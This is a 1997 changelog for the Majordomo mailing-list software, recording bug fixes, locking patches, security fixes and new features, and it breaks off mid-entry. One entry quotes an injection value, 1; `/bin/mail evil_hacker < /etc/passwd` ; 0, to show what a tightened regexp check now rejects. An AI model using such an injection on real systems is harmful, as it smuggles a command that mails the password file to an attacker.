Changes since 1.94.3: archive2.pl 1.10:1.9 revision 1.10 date: 1997/08/27 15:07:44; author: cwilson; state: Exp; lines: +22 -7 From: coar@decus.org (Rodent of Unusual Size) Message-id: <97071613415025@decus.org> o capability for 4 digit years However, just in case it's not, here's a patch to archive2.pl that adds -D, -M, and -Y flags that have the same meanings as their lower-case counterparts - except that the year is 4 digits rather than 2. ---------------------------- config-test 1.18:1.17 revision 1.18 date: 1997/08/27 15:17:13; author: cwilson; state: Exp; lines: +3 -3 o Checks to make sure that $log is actually a file. ---------------------------- config_parse.pl 1.64:1.63 revision 1.64 date: 1997/08/27 14:41:32; author: cwilson; state: Exp; lines: +17 -1 [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/config_majordomo.0 ] From: Bill Houle Message-Id: <3.0.32.19970430180123.00989de0@www.sandiegoca.ncr.com> The following patches implement the 'welcome=yes/no' and 'announcements=yes/no' keywords for Majordomo 1.94.3. Both features have been requested several times on the -users mailing list. In the past I had described how our site implemented these for 1.93 using the new_keyword() API function call, but since I am in the process of upgrading I figured I'd do it this time as a real patch. I submit them for local implementation and hopeful incorporation into 1.94.4. (Yes, I know these are new features which are not typical for inclusion in a point release. But heck, they are so simple its laughable...) ---------------------------- digest 1.23:1.22 revision 1.23 date: 1997/08/27 14:42:52; author: cwilson; state: Exp; lines: +30 -13 [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/digest.0 ] From: Dave Wolfe Message-Id: <199703191509.JAA11070@miaow.risc.sps.mot.com> These patches fix some problems recently identified in digest, but are virtually untested. They address undefined variables when the non-C form of configuration is used and file globbing failures (i.e. "No messages" aborts when there are plenty of messages to digest). While I have the highest confidence in the changes, unless someone can verify them I can't that they be placed in the release. They should be tested *both* with and without using the -C option. ---------------------------- majordomo 1.88:1.87 revision 1.88 date: 1997/08/27 14:55:29; author: cwilson; state: Exp; lines: +21 -41 [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.0 ] [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.1 ] [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.2 ] From: Dave Wolfe Message-Id: <199705011522.KAA14948@miaow.risc.sps.mot.com> o Race condition: The problem is a window when Mj is unsubscribing an address between the time the list file is unlinked and the updated file is linked to the list file name. From: Dave Wolfe Message-Id: <199705022106.QAA20060@miaow.risc.sps.mot.com> o Config lock not being freed: I discovered a case when a config lock isn't freed when newconfig fails due to errors in the settings then a following (in the same message) config or writeconfig command fails because set_lock() is called again without the lock ever being freed. I suppose I could make set_lock() less picky, but the problem is actually bad logic in do_newconfig(), so I'd rather fix that. Here's the patch against 1.94.3: From: Dave Wolfe Message-Id: <199705051358.IAA15196@miaow.risc.sps.mot.com> o EOF tests failing due to intervening filehandle resets. Since I use my lockf() version of shlock.pl, I discovered that the tests for eof on the command input stream in do_newinfo() and do_newintro() make a rather tenuous assumption in at least one case for each function because there's an intervening log() call (and resulting file locking) between the last input from the command stream and the eof test on the last filehandle read. ---------------------------- majordomo.pl 1.56:1.55 revision 1.56 date: 1997/08/27 14:58:53; author: cwilson; state: Exp; lines: +10 -10 [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.pl.0 ] From: Dave Wolfe Message-Id: <199705201456.JAA04154@miaow.risc.sps.mot.com> o Mungedomain doesn't work due to is_list_member() bug > > The problem I am having is that mungedomain seems not to work > > when the subscribed person is a@b.c and the From: line in the > > mail is a@d.b.c. [ on 1.94.3 ] > > You have also found a bug. It's even worse if you list a file other than > the list in 'restrict_post'. I'm working on it but since I'm out this > afternoon and have a training class the next 2 days, it may be awhile > before I have a patch for it. > > For those who care, is_list_member() in majordomo.pl clobbers > $clean_list before it uses it to call cf_ck_bool() to get the value > of 'mungedomain'. Then there's the problem of it not making sure that > get_config() has been called for $clean_list, not to mention that resend > calls is_list_member() with the value of 'restrict_post' that might not > even be a list at all! Turns out this wasn't as tricky as I feared once I made the assumption that only the "current list" 'mungedomain' applied. Here's patches against 1.94.3: ---------------------------- resend 1.86:1.85 revision 1.86 date: 1997/08/27 14:59:24; author: cwilson; state: Exp; lines: +4 -8 [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.pl.0 ] From: Dave Wolfe Message-Id: <199705201456.JAA04154@miaow.risc.sps.mot.com> o Mungedomain doesn't work due to is_list_member() bug > > The problem I am having is that mungedomain seems not to work > > when the subscribed person is a@b.c and the From: line in the > > mail is a@d.b.c. [ on 1.94.3 ] > > You have also found a bug. It's even worse if you list a file other than > the list in 'restrict_post'. I'm working on it but since I'm out this > afternoon and have a training class the next 2 days, it may be awhile > before I have a patch for it. > > For those who care, is_list_member() in majordomo.pl clobbers > $clean_list before it uses it to call cf_ck_bool() to get the value > of 'mungedomain'. Then there's the problem of it not making sure that > get_config() has been called for $clean_list, not to mention that resend > calls is_list_member() with the value of 'restrict_post' that might not > even be a list at all! Turns out this wasn't as tricky as I feared once I made the assumption that only the "current list" 'mungedomain' applied. Here's patches against 1.94.3: ---------------------------- sample.cf 1.34:1.33 revision 1.34 date: 1997/08/27 15:00:31; author: cwilson; state: Exp; lines: +3 -3 [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/sample.cf.0 ] [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/sample.cf.1 ] o Uncommented $config'default_subscribe_policy o made the sample taboo stuff valid perl5. ---------------------------- wrapper.c 1.8:1.7 revision 1.8 date: 1997/08/27 15:01:12; author: cwilson; state: Exp; lines: +6 -4 o Fixes security hole with ENV overrun by limiting env size. ---------------------------- Changes since 1.94.2: o Quick respin to remove spurious wrapper and fix medit. Changes since 1.94.1: Doc/list-owner-info 1.9:1.10 revision 1.10 date: 1997/04/05 19:18:10; author: cwilson; state: Exp; lines: +4 -4 From: Dave Wolfe Message-Id: <199704031832.MAA19186@miaow.risc.sps.mot.com> o more documentation fixes. ---------------------------- Doc/majordomo-faq.html 1.2:1.3 revision 1.3 date: 1997/04/27 14:57:00; author: cwilson; state: Exp; lines: +85 -48 latest revisions ---------------------------- Doc/majordomo-faq.txt 1.1:1.2 revision 1.2 date: 1997/04/27 14:57:05; author: cwilson; state: Exp; lines: +929 -854 latest revisions ---------------------------- Doc/man/digest.1 1.3:1.4 revision 1.4 date: 1997/04/20 16:25:43; author: cwilson; state: Exp; lines: +5 -2 From: Jerry Peek Message-Id: <199704170123.SAA07648@rock.west.ora.com> o The three-argument form of mkdigest hasn't been covered in digest.1 and majordomo.8 ---------------------------- Doc/man/majordomo.8 1.4:1.5 revision 1.5 date: 1997/04/20 16:25:49; author: cwilson; state: Exp; lines: +45 -3 From: Jerry Peek Message-Id: <199704170123.SAA07648@rock.west.ora.com> o The three-argument form of mkdigest hasn't been covered in digest.1 and majordomo.8 ---------------------------- INSTALL 1.7:1.10 revision 1.10 date: 1997/04/20 16:10:30; author: cwilson; state: Exp; lines: +12 -10 From: Dave Wolfe Message-Id: <199704102032.PAA19530@miaow.risc.sps.mot.com> o More doc nits for 1.94.2 ---------------------------- revision 1.9 date: 1997/03/11 10:19:33; author: cwilson; state: Exp; lines: +21 -21 o Swap steps 8 and 9 -- alias setup before attempting to register. ---------------------------- revision 1.8 date: 1997/03/11 10:11:59; author: cwilson; state: Exp; lines: +1 -1 From: Jerry Peek Message-ID: <17276.852523071@rubble.west.ora.com> o Wrong filename in 1.94.1 INSTALL file ---------------------------- Makefile 1.56:1.61 revision 1.61 date: 1997/04/27 14:55:50; author: cwilson; state: Exp; lines: +4 -7 From: Nicole LaRock Decker Message-ID: o fixes bounce-remind and bounce pointing at each other. ---------------------------- revision 1.60 date: 1997/03/12 16:50:46; author: cwilson; state: Exp; lines: +5 -5 o version 1.94.2 ---------------------------- revision 1.59 date: 1997/03/11 10:15:16; author: cwilson; state: Exp; lines: +9 -4 From: Jerry Peek Message-ID: <15010.852502798@rubble.west.ora.com> o install resend.1 and bounce.1 Message-ID: <15389.852505074@rubble.west.ora.com> o change install.sh flag from -o to -O: I'm using SunOS 4.1.3, one of the systems (with filesystem quotas) that only allows root to use chown. As far as I can tell, the 1.94.1 Makefile is supposed to be runnable by the Majordomo user. It fails because install.sh tries to run chown as a non-root user: % make install-scripts Testing for perl (/usr/local/bin/perl)... Configuring scripts... ./install.sh -m 751 -o 123 -g 45 . /tmp/majordomo Must be root to use chown *** Error code 1 make: Fatal error: Command failed for target `install-scripts' I haven't followed this problem real closely since I griped about it for 1.94. I'm sending a patch (below) that seems to work for 1.94.1. The install.sh script has two flags for setting ownership, -o and -O. If you use -o, it seems to always do chown. But if you use -O, it will only do chown if it's running as root. So my fix just changes that flag. I haven't tested this as root -- or on other systems (that let non-root users do chown). Someone should! ---------------------------- revision 1.58 date: 1997/03/11 09:59:27; author: cwilson; state: Exp; lines: +7 -3 From: Jerry Peek Message-ID: <3908.853689282@rubble.west.ora.com> o install bounce and resend man pages instead of a stub file. ---------------------------- revision 1.57 date: 1997/03/10 16:08:09; author: cwilson; state: Exp; lines: +4 -4 From: dwolfe@risc.sps.mot.com (Dave Wolfe) Message-ID: 199701081942.NAA16946@miaow.risc.sps.mot.com o A little fix to help idiot-proof the installation since directories almost always return true for "test -x": ---------------------------- NEWLIST 1.3:1.5 revision 1.5 date: 1997/04/02 10:32:06; author: cwilson; state: Exp; lines: +6 -6 From: Dave Wolfe Message-Id: <199703241956.NAA12000@miaow.risc.sps.mot.com> o 1.94 -> 1.94.2 ---------------------------- revision 1.4 date: 1997/03/11 10:01:17; author: cwilson; state: Exp; lines: +10 -11 From: Jerry Peek Message-ID: <1447.853639763@rubble.west.ora.com> o small nits and typos. ---------------------------- README 1.36:1.38 revision 1.38 date: 1997/04/20 16:10:39; author: cwilson; state: Exp; lines: +4 -4 From: Dave Wolfe Message-Id: <199704102032.PAA19530@miaow.risc.sps.mot.com> o More doc nits for 1.94.2 ---------------------------- revision 1.37 date: 1997/04/07 18:56:56; author: cwilson; state: Exp; lines: +19 -18 From: Dave Wolfe Message-Id: <199704071503.KAA16480@miaow.risc.sps.mot.com> o more doc fixes. ---------------------------- approve 1.13:1.15 revision 1.15 date: 1997/04/05 19:18:36; author: cwilson; state: Exp; lines: +4 -3 o Eliminate the "apparently-to" bit ---------------------------- revision 1.14 date: 1997/04/02 10:34:09; author: cwilson; state: Exp; lines: +10 -3 o tries slightly to find the right sendmail. ---------------------------- config-test 1.15:1.17 revision 1.17 date: 1997/03/10 17:22:05; author: cwilson; state: Exp; lines: +2 -2 make config-test execute itself with arguments if it has to. "I don't want to die." "You must, and with a -foo -zot -bang" "Oh, well, okay." ---------------------------- revision 1.16 date: 1997/03/10 15:45:12; author: cwilson; state: Exp; lines: +9 -8 From: Dave Wolfe Message-Id: <199702262130.PAA15843@miaow.risc.sps.mot.com> o Patches to fix nits in config-test -w fixes primarily. ---------------------------- config_parse.pl 1.60:1.63 revision 1.63 date: 1997/04/20 16:06:58; author: cwilson; state: Exp; lines: +15 -9 From: Dave Wolfe Message-Id: <199704160058.TAA16410@miaow.risc.sps.mot.com> o tighten up the regexp check in grab_regexp_array so that things like 1; `/bin/mail evil_hacker < /etc/passwd` ; 0 aren't allowed. ---------------------------- revision 1.62 date: 1997/03/10 17:19:54; author: cwilson; state: Exp; lines: +17 -8 From: Dave Wolfe Message-Id: <199702202147.PAA14970@miaow.risc.sps.mot.com> o Locking patch: |I've suspected for quite awhile that list.config file locking had some |holes in it. I can confirm this now by simply mailing off sequences of |writeconfig, newconfig, config commands in each of 20 messages (although |it doesn't take that many) at one-second intervals. I get the full array |of aborts, warnings, invalid passwords, and even a few successes in |response. After making the changes that generated this patch, every |command succeeds, although the config files returned are unpredictable |since there's no locking between each command in a message (I think |that may also be a hole or a feature, depending on your point of view, |but at least it doesn't clobber the file as a result). But first, a |little background for anyone who's interested and to facilitate your |checking that I've covered all the cases and haven't introduced yet more |problems. | |There are two locking mechanisms involved in list config files. One is |specific to the config file itself, which I'll refer to as the "L.lock", |and is implemented through lopen() by creating a lock file with an |"L." prefix. The other is for the set of list config files, including |various temporary files, which I'll refer to as the "lock.LOCK" and is |implemented by higher level functions calling set_lock() with the list |config file name suffixed by ".LOCK" for the lock file name. | |The core functions which manipulate list config locking include: | |writeconfig -- This is a low-level function that writes a list config |file from the current in-memory settings. It assumes the lock.LOCK is |set but doesn't use any L.locks for either its temporary file |(*.config.out) or the config file. | |get_config -- This low-level function sets the lock.LOCK and |conditionally calls writeconfig() to set configuration defaults if no |list config file exists. It then L.locks and reads the list config file |to set up the in-memory configuration, releases the L.lock and then the |lock.LOCK. | |do_config -- This high-level function calls get_config() but uses no |locks while copying the list config file to the mailer to fulfill the |request. | |do_newconfig -- This high-level function calls get_config(), L.locks the |new list config file while it writes it, but releases it before setting |the lock.LOCK while renaming the old and new list config files. | |do_writeconfig -- This high-level function calls get_config() and then |calls writeconfig() without any sort of locking. | |digest uses lock.LOCKing in a rather brute force manner (i.e. almost the |entire time it's working), but it's not apparent that anything less will |work. | | |Several locking windows are apparent in the high-level functions. | |do_config releases all locks (via get_config()) before copying the |(possibly changed) list config file to the mailer. | |do_newconfig replaces the list config file with a file that it may |not have written (since it releases the L.lock on the new file before |obtaining the lock.LOCK), which could cause newconfig commands to appear |to execute out of order (but this is a problem inherent in MTA queueing |anyway), and similarly verify a password that's no longer valid if the |list config file is replaced between the return from get_config() and |either subsequent lock. | |do_writeconfig could completely mangle the list config file since it |fails to honor any extant locks. | |In addition, two levels of locking seems to be overkill. A persistent |lock such as is the lock.LOCKing is necessary and easy to use, although |perhaps a bit coarse. Using L.locking in addition is simply needless |overhead. | |The fix is to set the lock.LOCK around all list config file manipulation |for each of the do_*config commands. Since locks can't be nested, the |fact that the lock.LOCK is already set (and must not be released) is |communicated to get_config by adding an optional third argument to |get_config. When this argument is true, get_config doesn't attempt to |set or free the lock.LOCK for the config file. Appropriate changes are |made in each of the do_*config functions to set and free the lock.LOCK |and call get_config with the new third argument set. Additionally, calls |to lopen/lclose under a lock.LOCK were simplified to open/close calls to |reduce overhead. All other calls to get_config are left as is to allow |get_config to set the lock.LOCK while it defaults/reads the list config |file. | |The following patches implement this fix to the problems noted above. |They apply to an unpatched 1.94.1: ---------------------------- revision 1.61 date: 1997/03/10 16:14:41; author: cwilson; state: Exp; lines: +43 -27 From: dwolfe@risc.sps.mot.com (Dave Wolfe) o tidy up the documentation a bit. ---------------------------- contrib/archive_mh.pl 1.3:1.4 revision 1.4 date: 1997/03/10 15:40:41; author: cwilson; state: Exp; lines: +3 -3 typo: require ---------------------------- contrib/makeindex.pl 1.4:1.5 revision 1.5 date: 1997/03/11 10:04:47; author: cwilson; state: Exp; lines: +1 -1 From: Bill Message-Id: <1.5.4.32.19970117000234.006bfee8@mail.nas.com> o catches cc:mail reply prefixes "Re[3]" ---------------------------- digest 1.20:1.22 revision 1.22 date: 1997/03/10 17:11:25; author: cwilson; state: Exp; lines: +5 -5 o use -c configfile to specify a different config file. ---------------------------- revision 1.21 date: 1997/03/10 15:49:26; author: cwilson; state: Exp; lines: +21 -14 From: Oliver Xymoron Message-ID: o This changes digest to use a reasonable default for resend_host if it is unset. From: Dave Wolfe Message-Id: <199703062200.QAA19582@miaow.risc.sps.mot.com> o Since I don't run any digests, I didn't give digest the same close scrutiny, and decided it was adequate (I'd already fixed one locking problem there). Recent analysis in light of problems experienced by digest users (posting to Mj-users) has convinced me that there are still a couple of problems with digest's locking. The first is, that no matter which kind of configuration is used, the lock is not established until after the volume/issue counts are read from the respective config files, which could cause incorrect incrementing of counts. Secondly, in the case of the -C option, the list-digest.config file is updated without being locked at all, which could cause loss of counts or configuration parameters. This patch should take care of the problems so long as -C and non-C invocations of digest are *not* used for the same list. Although the changes are pretty straight forward, I didn't want this patch to miss 1.94.2 so I publishing it without complete testing. I will try to run some tests in the next week however. This is against unpatched 1.94.1. ---------------------------- majordomo 1.76:1.87 revision 1.87 date: 1997/04/20 16:11:49; author: cwilson; state: Exp; lines: +4 -3 From: "Kendall P. Bullen" Message-ID: o skip directories in do_lists. ---------------------------- revision 1.86 date: 1997/04/20 16:07:30; author: cwilson; state: Exp; lines: +4 -4 From: "Russell Steinthal" Message-Id: <199704080042.UAA20817@mailrelay1.cc.columbia.edu> o help message fix. ---------------------------- revision 1.85 date: 1997/04/02 11:31:15; author: cwilson; state: Exp; lines: +13 -13 From: Brock Rozen Message-Id: o Patch for text errors in 1.94.2 in majordomo ---------------------------- revision 1.84 date: 1997/04/02 10:33:38; author: cwilson; state: Exp; lines: +5 -5 o adds subscriber to notification messages sent to owner. ---------------------------- revision 1.83 date: 1997/04/02 09:29:55; author: cwilson; state: Exp; lines: +9 -5 o Fixed comment on rcs|cvs|core line o fixed "this is version $majordomo_version" ---------------------------- revision 1.82 date: 1997/03/12 16:51:00; author: cwilson; state: Exp; lines: +17 -17 o those pesky @ signs. ---------------------------- revision 1.81 date: 1997/03/11 10:44:58; author: cwilson; state: Exp; lines: +193 -4 From: "Roger B.A. Klorese" Message-Id: <3.0.1.32.19970120185923.0306366c@pop.queernet.org> o MajorDumbo help file (insert smiley here) additional dumbo-user text from do_help. ---------------------------- revision 1.80 date: 1997/03/10 17:20:00; author: cwilson; state: Exp; lines: +36 -32 From: Dave Wolfe Message-Id: <199702202147.PAA14970@miaow.risc.sps.mot.com> o Locking patch: |I've suspected for quite awhile that list.config file locking had some |holes in it. I can confirm this now by simply mailing off sequences of |writeconfig, newconfig, config commands in each of 20 messages (although |it doesn't take that many) at one-second intervals. I get the full array |of aborts, warnings, invalid passwords, and even a few successes in |response. After making the changes that generated this patch, every |command succeeds, although the config files returned are unpredictable |since there's no locking between each command in a message (I think |that may also be a hole or a feature, depending on your point of view, |but at least it doesn't clobber the file as a result). But first, a |little background for anyone who's interested and to facilitate your |checking that I've covered all the cases and haven't introduced yet more |problems. | |There are two locking mechanisms involved in list config files. One is |specific to the config file itself, which I'll refer to as the "L.lock", |and is implemented through lopen() by creating a lock file with an |"L." prefix. The other is for the set of list config files, including |various temporary files, which I'll refer to as the "lock.LOCK" and is |implemented by higher level functions calling set_lock() with the list |config file name suffixed by ".LOCK" for the lock file name. | |The core functions which manipulate list config locking include: | |writeconfig -- This is a low-level function that writes a list config |file from the current in-memory settings. It assumes the lock.LOCK is |set but doesn't use any L.locks for either its temporary file |(*.config.out) or the config file. | |get_config -- This low-level function sets the lock.LOCK and |conditionally calls writeconfig() to set configuration defaults if no |list config file exists. It then L.locks and reads the list config file |to set up the in-memory configuration, releases the L.lock and then the |lock.LOCK. | |do_config -- This high-level function calls get_config() but uses no |locks while copying the list config file to the mailer to fulfill the |request. | |do_newconfig -- This high-level function calls get_config(), L.locks the |new list config file while it writes it, but releases it before setting |the lock.LOCK while renaming the old and new list config files. | |do_writeconfig -- This high-level function calls get_config() and then |calls writeconfig() without any sort of locking. | |digest uses lock.LOCKing in a rather brute force manner (i.e. almost the |entire time it's working), but it's not apparent that anything less will |work. | | |Several locking windows are apparent in the high-level functions. | |do_config releases all locks (via get_config()) before copying the |(possibly changed) list config file to the mailer. | |do_newconfig replaces the list config file with a file that it may |not have written (since it releases the L.lock on the new file before |obtaining the lock.LOCK), which could cause newconfig commands to appear |to execute out of order (but this is a problem inherent in MTA queueing |anyway), and similarly verify a password that's no longer valid if the |list config file is replaced between the return from get_config() and |either subsequent lock. | |do_writeconfig could completely mangle the list config file since it |fails to honor any extant locks. | |In addition, two levels of locking seems to be overkill. A persistent |lock such as is the lock.LOCKing is necessary and easy to use, although |perhaps a bit coarse. Using L.locking in addition is simply needless |overhead. | |The fix is to set the lock.LOCK around all list config file manipulation |for each of the do_*config commands. Since locks can't be nested, the |fact that the lock.LOCK is already set (and must not be released) is |communicated to get_config by adding an optional third argument to |get_config. When this argument is true, get_config doesn't attempt to |set or free the lock.LOCK for the config file. Appropriate changes are |made in each of the do_*config functions to set and free the lock.LOCK |and call get_config with the new third argument set. Additionally, calls |to lopen/lclose under a lock.LOCK were simplified to open/close calls to |reduce overhead. All other calls to get_config are left as is to allow |get_config to set the lock.LOCK while it defaults/reads the list config |file. | |The following patches implement this fix to the problems noted above. |They apply to an unpatched 1.94.1: ---------------------------- revision 1.79 date: 1997/03/10 17:14:28; author: cwilson; state: Exp; lines: +6 -3 o make sure a lists command returns something for the user. ---------------------------- revision 1.78 date: 1997/03/10 17:11:50; author: cwilson; state: Exp; lines: +4 -4 o a better check to ignore RCS|CVS|core files/dirs. ---------------------------- revision 1.77 date: 1997/03/10 15:55:15; author: cwilson; state: Exp; lines: +17 -11 From: dwolfe@risc.sps.mot.com (Dave Wolfe) Message-ID: 199612302041.OAA16225@miaow.risc.sps.mot.com o Fixes approve acceppeted commands lose arguments From: Dave Wolfe Message-Id: <199701201709.LAA06157@miaow.risc.sps.mot.com> ( oxymoron@waste.org (Oliver Xymoron) ) o Security fix: "unsubscribe *" won't mention hidden lists From: coar@decus.org (Rodent of Unusual Size) Message-Id: <97012711105403@decus.org> o Concerning WriteConfig's creating an output file based upon the input list name rather than the case-smashed one: found the problem. From: brozen@webdreams.com (Brock Rozen) Message-ID: Pine.OSF.3.95.970106122125.11202C-100000@webdreams.com o Slightly different text for subscribe message ---------------------------- majordomo.aliases 1.1:1.2 revision 1.2 date: 1997/04/02 10:32:32; author: cwilson; state: Exp; lines: +3 -3 From: Dave Wolfe Message-Id: <199703241956.NAA12000@miaow.risc.sps.mot.com> o 1.94 -> 1.94.2 ---------------------------- majordomo.pl 1.52:1.55 revision 1.55 date: 1997/04/02 14:04:14; author: cwilson; state: Exp; lines: +4 -4 o added $EX_NOUSER ---------------------------- revision 1.54 date: 1997/04/02 09:12:35; author: cwilson; state: Exp; lines: +4 -4 hack fix to ParseAddrs to allow "john doe"@x.y addresses ---------------------------- revision 1.53 date: 1997/03/10 16:07:14; author: cwilson; state: Exp; lines: +27 -22 From: Dave Wolfe Message-Id: <199701201535.JAA13519@miaow.risc.sps.mot.com> ^^^^^^^ MAJORDOMO-USERS ARCHIVE! ^^^^^^^^^^^^^ o fixes regexp at line 519 o tidy up is_list_member to handle absolute paths in restrict_post variable. From: dwolfe@risc.sps.mot.com (Dave Wolfe) Message-ID: 199702261507.JAA14866@miaow.risc.sps.mot.com o log file doesn't exist regexp bug ---------------------------- majordomo_version.pl 1.18:1.24 revision 1.24 date: 1997/04/27 15:05:38; author: cwilson; state: Exp; lines: +2 -2 1.94.2 ---------------------------- revision 1.23 date: 1997/04/20 16:48:22; author: cwilson; state: Exp; lines: +2 -2 o spin4, but really call it 1.94.2_spin4 ---------------------------- revision 1.22 date: 1997/04/20 16:43:01; author: cwilson; state: Exp; lines: +2 -2 o spin4, but call it 1.94.2. ---------------------------- revision 1.21 date: 1997/04/07 18:59:16; author: cwilson; state: Exp; lines: +2 -2 o spin 3 ---------------------------- revision 1.20 date: 1997/04/02 14:05:15; author: cwilson; state: Exp; lines: +2 -2 o spin #2 ---------------------------- revision 1.19 date: 1997/03/12 16:51:16; author: cwilson; state: Exp; lines: +2 -2 o bump the version # to .2_spin1 ---------------------------- medit 1.7:1.9 revision 1.9 date: 1997/04/27 14:56:14; author: cwilson; state: Exp; lines: +4 -3 o chdir correctly. ---------------------------- revision 1.8 date: 1997/04/20 16:25:08; author: cwilson; state: Exp; lines: +3 -3 From: Jerry Peek Message-Id: <199704171515.LAA02975@hrothgar.gw.com> o I also found what looks like another bug: if $listdir isn't defined, then the chdir to $listdir *succeeds* and the call to die() isn't executed. ---------------------------- resend 1.80:1.85 revision 1.85 date: 1997/04/02 14:04:48; author: cwilson; state: Exp; lines: +8 -4 o don't abort if mailer is sendmail and sendmail exits with EX_NOUSER ---------------------------- revision 1.84 date: 1997/04/02 10:39:50; author: cwilson; state: Exp; lines: +8 -3 o Defaults for MAX_HEADER_LINE_LENGTH and MAX_TOTAL_HEADER_LENGTH if they aren't defined. ---------------------------- revision 1.83 date: 1997/04/02 09:27:17; author: cwilson; state: Exp; lines: +4 -4 From: Dave Wolfe Message-Id: <199703171511.JAA16200@miaow.risc.sps.mot.com> [ David Brownlee ] only check subject for admin headers if administrivia is set in list config file. ---------------------------- revision 1.82 date: 1997/03/11 16:18:33; author: cwilson; state: Exp; lines: +2 -12 From: Dave Wolfe Message-Id: <199701012129.PAA19165@miaow.risc.sps.mot.com> o This patch removes the misfeature in resend that looks for an absolute path in the approve_passwd or -a string to use as a file containing the actual password. Such a pathname is a security risk, can't be managed remotely, and, if set to the list.passwd file, is a security trap for the naive. ---------------------------- revision 1.81 date: 1997/03/10 16:22:47; author: cwilson; state: Exp; lines: +15 -40 From: Dave Wolfe Message-Id: <199702261532.JAA13946@miaow.risc.sps.mot.com> o If the list is moderated, don't immediately complain about an invalid approved header. From: Dave Wolfe Message-Id: <199702121912.NAA18025@miaow.risc.sps.mot.com> o make sure there's a newline after message_headers and message_footers. From: Dave Wolfe Message-Id: <199701091841.MAA20902@miaow.risc.sps.mot.com> o fix up restrict_post code. ---------------------------- sample.cf 1.28:1.33 revision 1.33 date: 1997/04/27 14:56:45; author: cwilson; state: Exp; lines: +10 -1 From: Earle Ake Message-Id: <199704211308.JAA15364@hcst.net> o commentary for x400 stuff. ---------------------------- revision 1.32 date: 1997/04/07 18:57:43; author: cwilson; state: Exp; lines: +2 -1 From: Thomas Ritter Message-ID: <01BC4032.AB7CB330@eze22rt.pn5.erd.siemens.at> o added /^subject:\s*Autoreply/i to global_taboo_headers. ---------------------------- revision 1.31 date: 1997/04/02 10:33:13; author: cwilson; state: Exp; lines: +4 -2 o Added 'cancel' to admin_headers and admin_body o added listproc to majordomo_dont_reply. ---------------------------- revision 1.30 date: 1997/03/11 10:19:46; author: cwilson; state: Exp; lines: +3 -3 o remove globs from uptime check. ---------------------------- revision 1.29 date: 1997/03/10 16:23:03; author: cwilson; state: Exp; lines: +2 -2 fix variable typo. ---------------------------- shlock.pl 1.11:1.13 revision 1.13 date: 1997/03/10 17:01:15; author: cwilson; state: Exp; lines: +4 -4 From: Dave Wolfe o more tidying. ---------------------------- revision 1.12 date: 1997/03/10 16:25:23; author: cwilson; state: Exp; lines: +13 -10 From: Dave Wolfe Message-Id: <199612311338.HAA10833@miaow.risc.sps.mot.com> o more shlock tweaking. ---------------------------- * Changelog: release of majordomo version 1.94 Big New Features in 1.94, or 3 tasty reasons to upgrade: ++ From: Brent Chapman ++ The "spam patch #1" ++ taboo_headers and taboo_body that catch and forward to the ++ approval address anything that matches their regexps. ++ From: Joe Pruett ++ The "spam patch #2" ++ subscribe_policy = [open|auto|closed][+confirm] ++ This implements a subscription policy that sends a confirmation ++ number back to the subscriber, to which they have to resend ++ to actually subscribe to the list. ++ The start of Access Control: Avoid the Spam. ++ who, which, get, index, info, and intro all have ++ _access per-list variables that can be set to one of ++ [open|list|closed] to allow access to anyone, list members, ++ or nobody, respectively. Naturally, any restrictions ++ can be overridden by the 'approve' command. * ALL: ! Escaped all @ signs for perl5. ! Replaced hardcoded sendmail references with a variable. ! Preserves ownership and permissions of files. * Makefile ! big restructuring to make it easier to configure. ! arch command is now defined, calls 'uname -m' or 'arch' as needed. * test / config-test + 'test' renamed to 'config-test'. Expanded upon by darren + stalder and Vince Skahan * digest: + From: pdc@lunch.engr.sgi.com (Paul Close) + Basically, these diffs add the ability to send a digest based on time or + number of lines, in addition to the usual byte count. I've changed the + options as follows: + + -r same as always. + -R receive, but don't make a digest, which allows batching. See -p + to make a digest (or the make digest command). + -p make a digest, but only if one should be sent. A crontab job would + run this once a day to implement the time limit. * majordomo: + Catches attempts to subscribe the list to itself. + Won't treat lines beginning with "-" as END if the header + "Content-type" is found. This allows MIME messages through + unscathed. + New command: intro and newintro. These commands are used to + retrieve the introduction file that is only sent to new + subscribers. This is different than the 'info' file, which + (potentially) anyone can see. + New command: cancel, which is an alias for unsubscribe. + X400 code checks for c= and a[dmd]= parts. + Added max_which_hits to limit 'which' output. ! Clarified help text ! Calls open_temp for temp files ! Sends the welcome message to the stripped address if strip is set. + Expanded command 'unsubscribe *' ! Fixes the "zero-length subscriber file" bug: checks the return ! code on every print, open, and closeout. ! Stricter check for the end of the header. ! $cookie_seed defaults to $homedir. * majordomo.pl: ! &abort now exits with EX_DATAERR which should avoid sendmail sending bounces. ! Added a 'bitch' routine which bitches about things to the majordomo owner. ! Fixed valid_addr to better check for domain style addrs. ! Calls open_temp for temp files ! Fixed addr_match to check for a @ in unsubscribe code ! (to allow 'unsubscribe alt.sys.something', for example) ! Abort now sends mail if the permissions are set wrong, instead of looping endlessly. - main'open_temp is now in shlock.pl * shlock.pl: ! From: Bill Houle ! Chan- here is a replacement version of "shlock.pl" to replace the combined ! code in majordomo.pl and shlock.pl. There may be some minor code fixes, but ! most importantly, it consolidates from the two files. This makes "shlock" a ! standalone package usable in other utilities. + $shlock'retries is setable. + retry sleep is 1-10 secs, random. * resend: + Largely rewritten to make it easier to comprehend. + Extracted the header length restrictions, now defined in the .cf file. + Now has global_taboo_headers, which means that the administravia + checks are now easily configurable. ! Added more checks for mailer messages. ! Adds the blank line between the header and body. + Mungedomain is heeded by resend for posting to a closed list. + Additionally checks the reply-to field for posting approval + Added taboo_headers and taboo_body checks. * approve: ! Fixed 'can't find passwd' bit. * config-parse.pl: + writeconfig checks that the new config is written out + safely. ! &grab_restrict_post only adds $listdir if needed. ! Changed writeconfig to write shorter lines. ! Aborts instead of dies (political statement?) + Added taboo_* stuff, private_intro. * archive2.pl: ! chdir $HOME. ! removes Approved header. * wrapper.c: ! setgroups can return non-zero, checked for that. * bounce: + Took pdc@sgi.com's version, which... + 1. If you use -expire and give it a list of bounces entries (from who + or just the list) it will issue unsubscribes for all the entries older + than a certain date. + + 2. If you use -unsub (or if the program name contains unsub), bounce + will 